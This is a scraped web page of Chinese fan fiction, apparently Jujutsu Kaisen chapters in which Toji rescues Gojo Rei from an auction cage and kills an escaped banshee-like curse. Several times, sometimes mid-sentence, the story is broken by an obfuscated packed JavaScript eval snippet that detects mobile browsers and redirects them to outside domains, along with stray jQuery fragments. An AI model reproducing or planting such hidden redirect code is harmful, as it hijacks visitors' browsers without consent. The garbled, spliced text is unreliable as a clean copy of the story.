现在连叹气也懒得叹了,他果断地站起身。 “你不乐意的话就算了,反正我是不想被其他人抓住。”他抬起腿,作势要走,“我先撤了。” “不要不要不要!” 五条怜想要抬手抓住他的离去的脚步,却只传来了手腕处的拉扯感——她几乎都快忘记自己的手还被捆着了。 但就算是真的拽住了他,那又如何呢?甚尔明显已经做出决定了,他的决定是让丑宝运输她逃出牢笼,而自己的不情愿并不重要。 尽管对此心知肚明,尽管还是满不情愿,五条怜知道,自己也必须做出决定。 被丑宝吃进肚子里的结局是完全可以预见的,恶心上十来分钟,但是自由近在眼前。可要是逞一时脾气,连甚尔都懒得救她的话……抱歉,天晓得她要面对怎样的未来了——八成不会是什么好结局。 五条怜抿了抿唇,嘴唇上还留着铁锈的味道。容不得再犹豫了,她艰难地点了点头。 “知道了知道了!”她大喘了一口气,任命般躺到丑宝的嘴巴旁边,“我现在就钻进去,所以你别走……呜哇,它开始吃我脑袋了啊啊啊!” 岂止是吃,丑宝的嘴都已经包住了她大半个头,视野都快消失在它没牙的嘴唇里了! 五条怜真的不想当个又吵又怂的窝囊鬼,可还是忍不住叫出声来了。 她真恨不得缩成一团,把自己从丑宝的嘴里拔出来,可惜她的勇气让她没办法做出这种事——恰恰正是因为太有勇气了,所以只能僵着身子,忍受咒灵啃她脑袋。 “好怪啊甚尔,它的嘴里好紧,你觉得我的脑袋会不会被压扁?这种事情不要啊,我的智慧肯定也会被压出去啊!它现在是不是流口水了?我感觉我的脑袋湿哒哒的……呜,我待会儿会不会变得超臭的?哎呀!眼睛也被吃进去啦!哇甚尔你还在吗,你不能丢下我啊!” 都已经忍耐着被咒灵吃进肚子里了,请原谅她的喋喋不休吧。 甚尔不知道自己现在应该叹气还是抱怨还是吐槽几句比较合适。此刻大概是五条怜说话说得最多的一回了。平常只当她是个不爱说话的家伙,没想到废话其实这么多。 很无奈,他只能搭腔了。 “我在的,没丢下你。” 再不吱声,她说不定会像只傻兮兮的兔子,自己把自己吓死。 “你在的,对吧?哇我现在听不到声音了,连自己在说什么都听不到了!”她的脑袋彻底消失在了丑宝的嘴里,“唔唔唔唔唔唔唔!” 世界安静了。 显然她刚才的唠唠叨叨也影响到了丑宝的发挥。在那些絮絮叨叨的声音消失之后,它登时加快了速度,吸溜一下,把剩下的大半截身子一起吃了下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951279|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算是吃下了整整一大个人,它的体型看起来也毫无变化,依旧是条肥硕的绀紫色肉虫。 它蜷缩起来,把身子缩成一团,衔着自己的尾巴,团回了一颗球的姿态,轱辘轱辘,从笼子里滚了出来,回到甚尔手中。 呲——备用电源流过天顶的灯,发出难听的声响,但灯并未亮起。 现在的问题可不是没有电源,而是他割断了电线。这不是切换电源就能解决的困境。 而刚才说起备用电源马上就会让灯亮起,纯粹就是想要吓唬五条怜,让她快点摒弃没用的那点嫌弃心理,赶紧配合行动而已。事实证明,这一招确实挺成功的。 远远地,能听到警卫赶来的声音了。确实不能再磨蹭了。 把丑宝揣进口袋里,甚尔跳上舞台顶端的巨大灯罩,轻巧地跃回控制台,原路返回。 出口处拥挤着逃跑的人群,他们都担心着自己会成为报丧女妖所预告的下一个死者,大概也都在困惑着为什么笼子里的生物仍能发出尖叫,这说不定就是拍卖师也挤在这群人的行列之中的原因。 甚尔不准备表现得太过奇怪,耐心地等在队伍之中,只在人群出现了向前拥挤的趋势时,才悄然往前挤过去。 保持着这番审时度势的心态,他顺利地在仅仅三分钟后就脱离了让人窒息的大批人群。 然后,找个人少的角落,把丑宝掏出来。 现在五条怜也能重见天日了。 “嘶——”回到现实,她最先做的事情居然是倒吸了一口凉气,“回来了……?” 她一脸不敢相信的模样看得甚尔想笑。 “当然。”他玩笑似的说,“里头的感觉怎么样?” “嘶——” 又是倒吸一口凉气。 “里面吧……很微妙。我不确定该怎么形容。”她的手在空气里画着圆,“总之就是,黑漆漆的,没有边界?我能看到你的咒具,它们就像是漂浮在半空里一样……总之很怪。” 说着说着,她忽然停下了,想起了一件很重要的大事,赶紧盯着自己的双手双腿看了看,又摸了摸自己的干燥的脑袋。 “呼——还好还好,没有沾上一身口水!” “当然没有了。”甚尔轻笑一声,“不然你以为我想要拿着脏兮兮的咒具吗?” 既然不会的话,倒是早点说明嘛。 五条怜有理由怀疑,甚尔刚才就是故意欣赏她惊恐的模样的。 揭开缠绕在手腕上的衣袖,甚尔看着她在地上无力地扑棱了好一会儿,无奈地握住她的手,硬是把她硬邦邦的身子从地上拉起来了。 “好啦。擦擦脸,脏小孩。”他指了指她沾满血迹的下半张脸,“我们该回家了。” 脏小孩的评价真让人脸红。 五条怜狼狈地掏出手帕,胡乱抹抹脸。 “不要,我还不回去。”她说,“我有想做的事。” 甚尔无奈:“你又打算多管什么闲事了?” “这次不是多管闲事!” 她一脸认真。 “我要把逃走的报丧女妖抓回来。” 72.印记 沉默。但幸好只是短暂的沉默。 五条怜看到甚尔撇了撇嘴,还以为他要说出什么扫兴的话了,但是没有。他仅仅只是撇了下嘴。 “抓到它了,然后呢?” “然后……” 其实五条怜还没想过这个问题,但既然有必要现在就给出答案的话,那她会赶紧去想到一个合适的答案的。 “然后,把它送回笼子里,让它接受自己作为拍品的命运。” 甚尔耸了耸肩,发出了一声很轻的叹息,但听起来也像是在笑:“先和我说说你都干了点什么吧。肯定又去多管闲事了,是不是?” “……算是吧。” 五条怜无法否认,试图把这段漫长且痛苦的过程说得足够详尽(目的主要是为了证明自己在这场事故中是最倒霉最无辜的那一个),可事实上,他们才刚绕到拍卖场的后门,她的冒险经历就说到尽头了——原来这场闹剧有这么短暂。 “果然是多管闲事。” 甚尔给出了自己的评价。 并且是一个过分直白的评价。 她觉得有点脸红:“也……也能算是助人为乐吧!” 甚尔歪着脑袋,斜眼睨她:“‘乐’体现在哪里?” “唔……呃……这……那什么……” 像是为了证明自己说得没错,五条怜费劲思考。可想了半天,唯一的“乐”大概只体现在,甚尔赶来救她了,她真的很开心?但这种话,在甚尔的面前她可说不出来! 没办法,只能归于沉默了。还是回归正题吧。 后门处已经被一群警卫围起,看来他们已经发现了死去警卫的尸体,也意识到报丧女妖逃走的事实了。幸好五条怜已不打算进入其中。 想要找到报丧女妖,她的计划是跟随着地面浅浅的脚印寻过去。灰扑扑的印记很浅,想要辨认出来却不难。 确认了脚印的方向,五条怜收回目光。刚走了两步,又忍不住回头,看了看空无一物的地面,失望地撇了撇嘴。 她的苦无居然不见了,不知道是被哪个没有公德心的家伙拿走了——不对,身处黑市,还谈论什么“公德心”呢?她可真傻 她小声叹气,毫不意外地钻进了甚尔的耳朵里。 “丢东西了?”他问。 “嗯……”五条怜努力打起精神,可惜说话的语调还是恹恹的,“刚买的呢……” 甚尔把手伸进口袋里:“是这个吧?” 他掏出一小袋苦无,惊讶到五条怜的眼睛都要睁到两倍大了。 “是的是的,就是这个!”她赶紧接过,“你怎么知道是我的?” “有你的手印子。” “……诶?” 五条怜愣了愣,慌忙低头看向自己的双手。 刚用帕子擦过,她的手很干净。 印象中,在钻进通风管道之前,她的手应该也不脏,所以苦无的袋子上,应该没有留下她的脏手印才对……吧? 虽然这么想着,但果然还是有点不安。她慌忙看看袋子,又抬头看了看甚尔。 果不其然,袋子上半点痕迹都没有。甚尔说能够看到她的手印,八成是因为他有着了不起的天与咒缚,五感被强化到了极点,所以才能找到常人(特指她这种人)看不到的痕迹吧。 嗯,对,肯定是这样没错! 这么想着,五条怜瞬间舒心了,然而下一秒她又觉得有点地方不对劲了。 “甚尔,你还不回家吗?” “回家,然后等着你再多管闲事地闯祸吗?”他抬起手,竖在五条怜的脑袋上,“我可不要替你擦屁股。” 禅院甚尔牌达摩克利斯之剑不期而至,“咣”一下砸在头顶,她匆忙捂着脑袋躲开,怂得无话可说,也压根没办法反驳,因为甚尔说得确实是事实没错。可五条怜还是想说点什么反驳他。 “能不能别用‘擦屁股’这种词?”她板起脸,一本正经的,“听起来太粗俗了,不适合在未成年人的面前说!” “擦屁股行为就只能用擦屁股这个词来描述。”就像是故意作对,他把五条怜不喜欢的这个词重复了好多遍,“找我擦屁股的行为难道就很适合未成年人干了?” “我……需要别人帮助,不是什么丢人的事!” “是是。所以被人阴了一手关进笼子里也不丢人对吧?嗯嗯,我明白了。” “你怎么——” “我怎么?” 难得和甚尔有了一次这么长的对话,结果根本说不过他。真郁闷。 五条怜憋了一肚子气闷无法抒发,也不知道该怎么抒发才好,只能暗戳戳心想,现役的全职小白脸(虽然现在还是绝赞单身中)比她伶牙俐齿,是很正常的一件事,否则赚异性钱的那一方就该是自己,而不会是甚尔了。 如此想着,登时倍感心安理得。 可惜这股子舒坦劲维持不了多久,郁闷感马上又回来了——她找不到脚印了。 当然了,脚印是存在的,杂乱无章,糊成一团,偏偏其中没有报丧女妖的,可能是因为本就浅淡的足迹在一步步的前进中逐渐淡化了,也存在着它人间蒸发的可能性。 无论是哪种猜测,都影响不了五条怜脑子嗡的发热,焦虑感都快冲破天灵盖了。 甚尔旁观着她急到原地转圈,可她却半句求助的话都没说,只知道在原地干着急。没办法,他只能说点什么了。 “沿着这个脚印走。” 他指着一条痕迹说。 听到他这么说了,五条怜才俯身,盯着他指出的那道痕迹看了好半天,依然觉得困惑。 “这不是‘脚印’,是鞋印呢。”她眨眨眼,“报丧女妖逃走的时候,没有穿鞋子。” “她难道不能找一双鞋子来穿吗?” “唔……好像确实可以哦?” 是她太愚蠢了。 追着崭新的鞋印继续往前,痕迹一如既往,变得越来越淡,淡到彻底看不见了。 现在,五条怜总算是知道要及时寻求甚尔的帮助了,赶紧投去可怜巴巴的目光。当然了,甚尔才不会动容。 不过该说的还是会说。 “往这边。”他往前一指,揶揄的话一下子来了,“你不是说自己的眼睛很好吗,怎么连这就看不出来?” 嘲讽,这绝对是嘲讽没错了。 五条怜感觉好憋屈,想要反驳,但又没有多少辩驳的余地,只好更加窝囊地点了点头,应下了这句话:“嗯,我是看不出来。” “那就仔细点看。” “有的事情不是仔细就能看到的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954555|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就好像“努力一定能够成功”是百分之一百的歪理一样——在错误的方向努力,可就要变成倒退了。 甚尔懒得琢磨她这句话中蕴含的真理,只当她在实在推脱,无聊地撇撇嘴,不说话了,加快脚步,故意把五条怜甩在身后。 “但是……但是!”一路小跑,她又追上来了,“你可以教我怎么看呀!” 他顿住脚步:“啊?” 怎么净提出点麻烦事? 这声反问带着点尖锐的意味,就算是五条怜也还是被惊得缩了缩身子,不过她很快就振作起来了。 “我知道的,我不像你那么有天赋,不过我……” “我这种人也叫作有天赋吗?”他听了真想笑。 五条怜眨眨眼:“您肯定比我有天赋。我才是真正的普通人。” “你是怪胎才对。” “所以你会教我吗?” 这才是重点才对。 在原地顿了太久,甚尔知道自己该往前走了,所以只漫不经心地摆摆手,佯装不在意。 “以后再说吧。” 他给出了世上最烂的答案。 尽管是最烂的回答,落在五条怜耳朵里,也变成了难得的好听话。她赶紧点点头,追上甚尔的脚步。 继续向前,直达出口,乘上通往地面的电梯。警卫已经把电梯轿厢塞得满满当当,根本腾不出半点空间给他们。甚尔乖乖等待下一班,而五条怜当然是好一副扭扭捏捏的不安模样。 “干嘛?”甚尔尽量不动嘴唇,只用气音说话,“你这幅样子,笨蛋都能看出来不对劲。” 五条怜匆忙站直身,视线却还是不自觉地在乱瞟:“我只是在想,要是先被警卫发现它怎么办?” “那你不就得偿所愿?”他转动肩膀,把关节弄出咔哒咔哒的动静,“正好能把那东西抓回去,继续拍卖。” 他对报丧女妖的称呼简单直白,直白到都有点让人觉得别扭了。 “话是这么说的没错啦……”她小声嘀咕,“我只是觉得……” “只是觉得?” “唔,我也说不好。” 叮——电梯落到底层。他们和一种警卫挤在一起,小小的轿厢被挤得密不透风。甚尔的胸压在了五条怜的脸上,虽然结实的胸肌本质上很柔软没错,但真的要压得她喘不过气了。 好不容易离开电梯,她做的第一件事情就是大喘一口气,夸张的动作让甚尔心情复杂,但他终归是没说什么。 警卫散开,废弃的隧道里只剩下了他们。选择了人最少的方向前进,他们现在终于能敞开说话了。 “你果然还是在想着拯救那东西吧?”甚尔这么认为。 “没有!”五条怜想替自己辩解,“我只是……唔……” 她垂下眼眸,倏地安静下来。 “我说不好……我可能想向它复仇。” “把它打一顿?” “差不多是这样吧。”她努嘴,“我说过了,还没想好。” 甚尔忍不住想笑,嘴上说的却是“怪胎”。 准确地说,他说的是“你个怪胎”。 “……您能不能少骂我一点?” 五条怜好不服气,而甚尔只是耸肩,依旧笑得讨人厌。 “很难。” 73.尖叫 细数和甚尔相处以来,挨骂的次数已经超越了极限,但他本人绝对会宣称自己从没有辱骂过五条怜。 我只是在陈述事实——他绝对会这么说的。 五条怜不想反驳,也不想在这种时候去探讨“怪胎”算是什么程度的难听话。索性主动地屏蔽了所有听觉,决定把他的一切话语都当做耳边风。 所幸,甚尔也不打算再继续说下去了。他低头看着地面上步幅越来越窄的足迹,似乎想到了一点什么。 “快跟上。”他加快速度,“马上就能找到它了。” “啊。好!” 五条怜小跑起来,浑身上下抽筋的肌肉这才开始痛起来。她忍不住弓起后背,整个人呈现出奇妙的姿势,还好甚尔没有看到,否则又要被他嘲笑了。 但也正如甚尔所说,确实过了不多久,在一颗行道树下,她又看到了那团熟悉的绿发。报丧女妖就站在树荫里,依旧是赤条条的,丝毫没有意识到自己这样有多么不合适,只呆愣楞的注视着天边的日光。 黄昏将至,日光已经有些昏暗下来了,天际线被染成粉紫色,听说是因为夜间将有大雨。 它长久地盯着那色泽鲜艳的天空,不自觉张着嘴。或许从它撕裂的嘴唇中,能够听到一点惊叹的声音。 等它意识到身后有人时,五条怜已经冲过去了。 就像打了一针超高浓度的肾上腺素,刚才还疼得难受的肌肉瞬间什么感觉都没有了,所有的酸痛感好像都化作了推进力,推着五条怜奋力往前跑。能看到报丧女妖的表情瞬间变得僵硬了,被撕去皮肤的下半张脸也在微微战栗着。 它匆忙转身,想要逃走,却晚了一步。五条怜猛地扑过来,一下子把它压在地上。 “你个……混蛋!臭混蛋!” 明明有那么多的愤懑不平,结果只骂出了轻飘飘的的“混蛋”而已。 五条怜憋屈得难受,忍不住大口大口地喘着气,紧紧抓着它脖颈的手也颤抖不止,看着真窝囊。 “我明明是想……我为了你……” 我是想要救你的,我为了你才杀死了那个警卫。她原本是想要这么说的。 但一旦冷静下来,五条怜便意识到,自己根本没立场说出这种高高在上的指责。 它没有要求五条怜去拯救它,至少没有明确地说过。偷溜进拍卖场也好,杀死了警卫也罢,甚至最后被关进笼子里,全都是五条怜自作自受。 或许,它那时伸出的手仅仅只是一个陷阱——为了寻找替死鬼而设下的陷阱。她愚蠢地跳了进去,认为自己必须回应它求救的期待。 所以事实是,她并没有被期待。 谁也不会对她予以期待。 终于意识到了这一点,五条怜感受到了一种无力的愤怒——是的,她的愤怒还存在着。只是这点愤怒早已失去了落脚点,不知道该流向何处。大概最终会流向自己,因为这次确实是她做出了愚蠢的傻事。 “我要把你带回去。”她喃喃着,“你要回到那个笼子里。” 她的目标没有任何改变,这一点是眼下唯一明晰的。 报丧女妖很明显地愣了愣,裸露在外的面部肌肉抽动着,像是蠕动的小虫。这点抽动很快弥漫到了全身,它不受控制地颤抖起来。 没有说出“不要”或是“别做这种事”,它只是用力摇头,深绿色的长发摇晃在空中,几乎要缠绕在一起。它紧紧握住五条怜的手腕,无意间按到了她手腕上的淤伤,有点疼,但现在五条怜已经没有什么感觉了。 “啊……啊啊……” 它沙哑的嗓子只能发出只言片语。 看来它不会说话。不过这个发现没有什么特别的用处。正如它此刻用湿漉漉哭得通红的可怜目光盯着她一样,这也是完全没用的。 既然语言没用,那五条怜也不打算说更多了。 把报丧女妖的手按在地上,强迫它伸直每一根手指,再掏出苦无刺穿掌心,硬生生把它钉在地上。待会儿问甚尔借根绳子,把她捆起来吧。也可以用上万里锁,不过她怀疑甚尔不会把价值九位数的天价咒具借给自己用。 五条怜起身,转头去找甚尔,这家伙正远远地靠在另一棵树上欣赏夕阳——怎么他也对夕阳情有独钟?搞不懂。 动了动唇,想要说点什么,身后似乎传来了微妙的动静,像是昆虫在振翅挣扎。 啊,不妙。 在大脑跳出这句警报时,报丧女妖已经冲了过来,裂开一半的手掌滴滴答答淌着血,濡湿了她的肩膀,几乎都能感觉到它的手掌被压出巨大裂缝的触感。它注视着她,以通红的双眼,湿漉漉的眼眸终于淌下了眼泪。嘴角的肌肉抽动着,促使它张开了嘴。 它发出尖叫。 尖锐的、凄厉的、真正的报丧女妖的尖叫。 马上有人要死了。 这个瞬间,五条怜好像能意识到为什么自己在拍卖台上的尖叫也能让所有人噤声,陷入沉默的恐惧中,因为此刻恐惧钻到了她的心中。 在场的只有她和甚尔,意思是他们之中会有人死去。会是甚尔吗?不,一定是自己。 它要杀了自己。 可它现在什么都没做,只是尖叫,声嘶力竭,榨干肺部最后的空气,甚至来不及喘息,再度发出的尖叫都在颤抖。 耳膜都快被震碎,又想起北海道的悲伤经历了。 五条怜捂着耳朵,她几乎睁不开眼。忽得有什么温热的液体洒在了脸上,尖叫声停下了。 一把刀穿透了报丧女妖的头颅,而它能保持着放声尖叫的姿态。多么不安的临终姿态, 握紧刀柄的是甚尔的手。不知从何时起,也不知道出自怎样的理由,他已站到了报丧女妖的身后。 并且杀死了它。 “你在犹豫什么?”甚尔拔出刀,在空气中用力一挥,洒下一地血痕,“它都求你杀死它了。” “……是吗?” 原来不是在预告她或是甚尔的死亡,而是在诉说着自己的死亡吗?五条怜愣了愣,她完全没想到这种事。 扑通——报丧女妖的尸体迟迟地直到这一刻才扑倒在她的身上,纤细的身躯比想象中沉重了不少。她反复尝试了好几次,才总算把它推开了。 不知道从什么时候开始,她的手湿漉漉的,沾满了滑腻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959607|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血,却没有铁锈味。她也不确定现在的自己看起来到底会是怎样的狼狈模样。 “好了,别磨蹭了。”甚尔收起咒具,催她快走,“除非你已经想好了被警卫当场抓住后的说辞。” “好好好……” 五条怜当然知道他们该走了,可一定是肾上腺素又降回去了,她瞬间没了力气,就算是用手撑着地面,也还是站不起来,两条腿软得像是棉花糖搓出来的,坚持不了半秒钟就软掉了。这可真是……太丢人了。 但考虑到她度过了这么艰难的一天,就算真的累到脱力,也是很正常的事情吧!——在倍感丢人的同时,她还冒出了这种理所应当的念头,完全没发现甚尔正在睨着她。 “站不起来了?”他说出这话的语气带着一种微妙的调笑感。 被她这么一说。五条怜的理直气壮瞬间泄了气。她窝囊地点点头,果然引来甚尔的好一阵叹气。 “行吧行吧,我就知道。”他伸出手,“快点起来。你总是很磨蹭。” “……也没有总是嘛。” 五条怜小声嘀咕,磨磨蹭蹭地抬手。甚尔毫不犹豫,抓住了她血淋淋的手。 一旦站起来,棉花糖的双腿就终于变回正常了。快步走到车站,也不管行进方向,先坐上去再说。 伴着列车摇摇晃晃,困意似乎也要被摇出来了。甚尔靠着她打盹,但五条怜睡不着,也不知道该做点什么打发时间,只好盯着甚尔搭在大腿上的手。 现在,他的手上已经看不见血渍了——上车之前他们都很认真地清理了自己。她披着他的外套,只要戴上帽子就不会发现为了去除血迹而被淋湿的头发。不过头顶还是阴冷阴冷的,并不好受。 摇摇晃晃了好几站,忽然听到甚尔问,现在到哪一站了。 “国分寺。还有好几站才能换乘。” 虽然是随便挑了一辆车上的,但他们居然幸运地没有坐错方向,真是奇迹。 甚尔打了个哈欠:“是吗?行吧。”然后就不说话了。 他无聊地睁着眼,盯着车厢里的广告,百无聊赖的模样。 “你不睡了吗?”五条怜忍不住问。 “你一直盯着我,我睡不着。” “哦……” 这也怪她呀? 五条怜有点郁闷,但更郁闷的是甚尔。 “你在想什么事情吗?”他叹气,“感觉你大脑里的声音都快漏到我的耳朵里了。” 哎,被看穿了。 五条怜摸摸鼻子:“是啦……是在想事情。” “在想什么?” “我在琢磨着,如果我是你,我现在会怎么想。” “那你现在的情绪是?” “说不好……低落?”可能还有一点沮丧,但她也不知道这点沮丧究竟从何而来——杀了报丧女妖的不是她,做出了背信弃义事情的人同样也不是她。 所以她明明没有必要感到难过的。 “因为你太有良心了吧。”他满不在意的,“这种东西,还是赶紧丢掉比较好。” “哦……所以甚尔你已经成为了没有良心的人了吗?” 74.像你一样 天地可鉴,五条怜在说出“你已经成为了没有良心的人了吗?”这句话时,绝对没有诋毁甚尔的意思。她只是在陈述事实而已——但称之为事实,貌似显得更加伤人了? 甚尔不吭声,算是默认了这个说法,毕竟这就是事实没错,他的确没有良心。 “所以你也赶紧把良心丢了怎么样?” 他笑得满怀恶意。 “把没用的东西带在身上,多累赘呀!不过我想你其实也不存在多少良心——杀了人的你还不如开枪时的你激动。” 好言相劝的甚尔落在五条怜的眼里,瞬间变成了蛊惑人心的恶魔,但两者之间的区别大概是恶魔通常是美丽诱人的大姐姐,而甚尔与美丽和诱人都沾不上边,压根起不到蛊惑人心的作用。 要是他用上一点职业小白脸的功力,说不定就能成功了。 值得庆幸的是,其实用不上多么厉害的说服,五条怜早就倒戈了。 “我确实是已经把良心丢掉了!”她很认真的说,“至于我的情绪问题……这……只是在那个当下,我没有别的选择?” 就像是rpg游戏一样,她选择了这个分支而已。也许罪恶感会在未来冒出来,但在这个当下,她确实是冷静得可怕。 或许她和甚尔一样,其实从骨子里就是很冰冷的家伙。 但她又热心地想要拯救报丧女妖,这貌似和冷漠的本质冲突了。她那时候到底是怎么想的呢?五条怜有点搞不懂自己了。 甚尔插话进来:“别多管闲事也是一种选择。” “那如果你是我。”她急急地说,“要是你必须拯救某个人,你会做出怎样的选择?还有,要是途中倒霉地被暗算,然后被关进铁笼子里,你又打算怎么做?” 他掰着手指头和她算:“首先,我不会大发善心救陌生人,其次我被暗算。最后,我会直接把笼子的栏杆掰断逃出来。” 掰断笼子栏杆,听起来就是相当高难度的行动。 五条怜低头,瞄了瞄自己尚且瘦弱的手臂。感谢体重日渐增长的小海胆禅院惠,她已经长出一点肌肉了,但和甚尔结实得足有自己脑袋大的肌肉相比,刚刚浮起的的那点自信心瞬间就瘪下去了。 她怎么可能做到甚尔轻松完成的事情呢。 她耷拉脑袋。悄悄叹气:“如果我能成为像你一样的人就好了……” 这样一来,就不会身陷囹圄了。 甚尔明明听到这话了,却更想装作没有听到,可他果然还是在意得很,忍不住轻哼一声。 “在说什么傻话?”一开口,果然也说不出什么好听的话。 五条怜被他直白的话语说得尴尬,连脸颊都在发烫:“这不是傻话吧?” 甚尔撇嘴:“反正我听着挺傻的。” “……随便你啦!” 五条怜难得的丢下这么一句狠话,暗自发誓再也不和甚尔说话了……至少今天肯定不说了!可他马上又抛来问题,她实在没办法坚持自己的决心了。 “‘如果我能成为像你一样的人就好了’,这就是你刚才问了我一堆‘如果’的原因?’” 他的语气不太认真,但听起来也不像是在笑,只带着一种莫名的悬浮感,她也说不好这算是怎么回事,但她还是点了点头:“嗯,是的。” “好蠢。像我这种人有什么好的?” 又被骂了,真是意料之中。 五条怜的郁闷感翻了个倍:“可我和你很像,不是吗?你自己也这么说过。” “所以要学着我的样子往前走?” 想起了她在北海道的时候说过冬天的小狼踩着成年狼的足迹往前走的理论,没想到她时时刻刻都是这么惦记的。在甚尔看来,这就是愚蠢没错了。 “成为和你一样的人不好吗?”她好像不服气。 “不好。”他的答案来得果断,“只有没品的人想要成为我。” ……居然连“没品”这个评价都搬出来了! “这么说的话。”五条怜更加不服气了,“你才是最没品的那一个。” “是啊,我是没品。” 甚尔一副破罐子破摔的态度,听着就让人生气。五条怜彻底脱力了,不知道该说什么才好,只好沉默着别开脑袋,继续暗自发誓不再和甚尔说话——好嘛,她不是不知道许下这种诺言的自己很像个幼稚小孩。 这一回,她的誓言总算是可以多坚持一会儿了。直到回到热闹的新宿,坐进回转寿司店里,他们都没再说过半句话了 他们之间的唯一交流,只剩下了肢体语言。而本次的语言在诉说着他们如何为了抢走最后一碟辣章鱼军舰寿司而暗中较劲,明明碟子里摆了两枚军舰寿司。 争来抢去,夺了半天,最后辣章鱼军舰寿司还是落到了甚尔的手中。这位更是不谙分享之道,放肆地一口气把两颗寿司一起塞进了嘴里,像个美食家那样做作地发出“嗯——”的品鉴声,听着就让人不爽。 更气人的是,在那之后,回转寿司的履带上居然再也没出现过辣章鱼的影子了。真后悔坐在了回转履带的最尾端,压根没有多少美味留给他们了。所以悲愤也没化作食欲,只郁闷地吃了七分饱,他们就结账走人了。 “吃饱了吃饱了——” 甚尔拍着肚皮,说话的语气像是秃头中年大叔,明明他正值壮年且脑袋茂盛,合理怀疑他纯粹就是为了在五条怜面前炫耀一番才这么说的。 五条怜嘛,当然是固执地梗着脖子,坚持着自己的信条,直到走进了托儿所的大门,才终于舍得张开尊口。 “我回来了,惠惠。” 她俯下身子,抱住小小的禅院惠,把脸埋进他的颈窝里。他身上有股淡淡的奶香味,她忍不住闻了好久。 “我们回家吧!” 然后就拉着小海胆的手高高兴兴踏上了回家的路,甚尔莫名就被甩在了身后。现在无比郁闷的那方要变成他了。 加快脚步,他跟了上去。 “你刚才说得‘我们’里。”他一脸不爽,“绝对没有包含我吧?” 五条怜不说话,只是对他咧嘴一笑,笑眯眯的模样像只讨人厌的狐狸。 甚尔索性也不吭声了。撇撇嘴走得飞快,还不给她留门,一走到玄关就把门关上了,真是小气鬼。 他们之间毫无意义且非常无聊的赌气只持续了短短三天(其实也不短了),最后是哪一方先示弱的,实在想不起来了。 总之,该说的话继续说,该做的事情也在继续做,单以结局来看,貌似不错,就别考虑过程了吧。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14964640|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏天偷摸摸地伴着海风到来,还没转过神来,就已经是盛夏时节了。 豪华宽敞的顶层公寓华而不实。一到了夏天就热得难受,这一点五条怜在上一个盛夏就经历过了。 本以为能多点经验,结果到了崭新的一年,还是被高温熏得无所适从,根本没办法逃出家里一秒,就连丑宝都扒在了空调上,离家几率大大降低。 如此看来,依旧保持着高频率出门的,也就只有甚尔了。 通常在夜里出门的他,直到隔天的中午才会回来,有时带上丑宝,但大多数时候不会。五条怜多少能猜出他这是在做什么。 清晨的新宿已经被日光烘得滚烫了,所以他到家时,总是大汗淋漓。大概是一整晚没睡,他总是冲个澡就钻进房间,但更多时候会直接扑进沙发里睡觉,像只日夜颠倒的猫头鹰。 “爸爸,为什么在家?” 夜里,一起躺在阳台上乘凉,禅院惠忽然这么说。 “唔——” 这是个好问题。五条怜知道答案,但不确定该怎么回答才比较合适。 默默起身,回头看去。隔着一层落地窗,能看到横躺在沙发上的甚尔还在睡觉,实在不确定他今晚还会不会出门了。 五条怜默默收回目光,想了想,说:“因为还没到爸爸的工作时间。” 小海胆困惑地眨眨眼:“工作?” 他像只困惑的小狗,微微歪着脑袋。五条怜被他这副模样逗笑了。抬手摸摸他的脑袋,不意外地被戳得手掌微痛。 “工作呀,就是……一种谋生的方式。”想了想,她又补充说,“谋生就是赚钱,然后活下去!” “啊!”小海胆惊讶地睁大了眼,“爸爸,厉害!” “是哦,爸爸很厉害哟。” 回头,甚尔正盯着他们。 他醒来的时机恰到好处,把每句好话都收进了耳中,真是幸运。 当然了,他可不会给出什么特别的反应,翻了个身,从沙发上起来了,钻进厨房里觅食。五条怜也跟了上去。 “呐,甚尔。”像条小尾巴,她在甚尔身后探头探脑,“今天要去当小白脸吗?” 他摸出了半盒牛奶,咕咚咕咚灌下肚,喝饱了才说:“不了。” “那和我们一起在阳台上乘凉吧!”五条怜热情邀请,“惠惠很想和你一起玩哦。” 